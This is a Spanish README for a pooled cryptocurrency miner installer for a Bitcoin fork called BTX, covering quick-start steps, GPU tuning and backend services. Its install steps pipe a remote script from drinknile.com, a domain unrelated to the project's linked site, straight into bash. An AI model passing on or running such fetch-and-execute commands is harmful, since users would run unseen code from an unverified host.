Sobre el proyecto
# BTX Start Miner
BTX Start es un frontend de incorporación competitivo y un fork del instalador para [BTX](https://btxprice.com), el fork post-cuántico de Bitcoin Knots con prueba de trabajo matmul. Simplifica el proceso de unirse a la red BTX al proporcionar una ruta optimizada desde la instalación hasta las ganancias, gestionando la varianza mediante minería en pool.
## Características clave
* **Incorporación simplificada**: Reduce la fricción con un instalador `curl | bash` que detecta el hardware, verifica los binarios y configura los ajustes óptimos automáticamente.
* **Soporte multiplataforma**: Compatible con Linux (GPU NVIDIA desde Pascal hasta Blackwell), Windows (mediante WSL2) y Apple Silicon (Metal).
* **Ajuste de rendimiento**: Incluye una herramienta de benchmarking automatizada (`dexbtx-miner benchmark`) para explorar parámetros como workers, threads y tamaño de lote para lograr la máxima eficiencia.
* **Manejo robusto de errores**: Viene con mecanismos de respaldo integrados para modos de fallo comunes, como agotamiento del búfer CUDA, retrocesos silenciosos a CPU y desconexiones de pares.
* **Tarifas transparentes**: Ofrece una prueba gratuita de 7 días, seguida de una tarifa de plataforma del 0,50 %.
## Inicio rápido
### Linux + GPU NVIDIA
Comprueba la compatibilidad sin instalar:
```bash
curl -fsSL https://drinknile.com/install.sh | bash -s -- --preflight --address 'btx1z...YOUR_BTX_ADDRESS...'
```
Instala si la comprobación previa pasa:
```bash
curl -fsSL https://drinknile.com/install.sh | bash -s -- --address 'btx1z...YOUR_BTX_ADDRESS...'
```
Inicia la minería:
```bash
dexbtx-miner --config ~/.dexbtx-miner/config.yaml
```
### Mac con Apple Silicon
Usa el backend Metal:
```bash
curl -fsSL https://drinknile.com/install.sh | bash -s -- \
--preflight \
--solver-backend metal \
--local-solver "$HOME/.dexbtx-miner/bin/btx-gbt-solve" \
--trust-local-solver \
--address 'btx1z...YOUR_BTX_ADDRESS...' \
--worker 'mac-ultra'
```
### PC con Windows
Instala Ubuntu mediante WSL2, asegúrate de que los controladores NVIDIA estén instalados en Windows y luego ejecuta los comandos del instalador de Linux dentro del terminal de Ubuntu.
## Arquitectura y ajuste
El minero usa un orquestador en Python (`dexbtx-miner`) que envuelve un solver binario nativo (`btx-gbt-solve`). El solver admite múltiples arquitecturas de GPU (Pascal, Turing, Ampere, Ada Lovelace, Hopper, Blackwell) mediante cubins integrados o compilación JIT de PTX.
**Valores predeterminados de ajuste recomendados:**
* `workers=16`, `threads=8`, `batch=128`
* Estos ajustes funcionan en la mayoría de las generaciones de NVIDIA, desde la serie GTX 10 hasta la serie RTX 50.
Para optimizar aún más, usa la herramienta de benchmark:
```bash
dexbtx-miner benchmark --write-config
```
## Servicios de backend
El repositorio incluye un esqueleto para un backend propio (`backend/README.md`) que gestiona:
* Punto de entrada del servidor Stratum.
* API de estadísticas y comprobaciones de estado.
* Procesamiento de pagos e integración de facturación.
Nota: El servidor stratum rechaza las shares hasta que la validación real de matmul esté completamente conectada; no lo pongas en producción prematuramente.
## Contribuir
Clona el repositorio e instálalo en modo editable:
```bash
git clone https://github.com/pythonoptic-sketch/minebtx-start
cd minebtx-start
pip install --user -e .
dexbtx-miner --config config.example.yaml
```
Licencia: MIT.
Comments
0 Rating appears after 10 ratings
Sign in to join the discussion.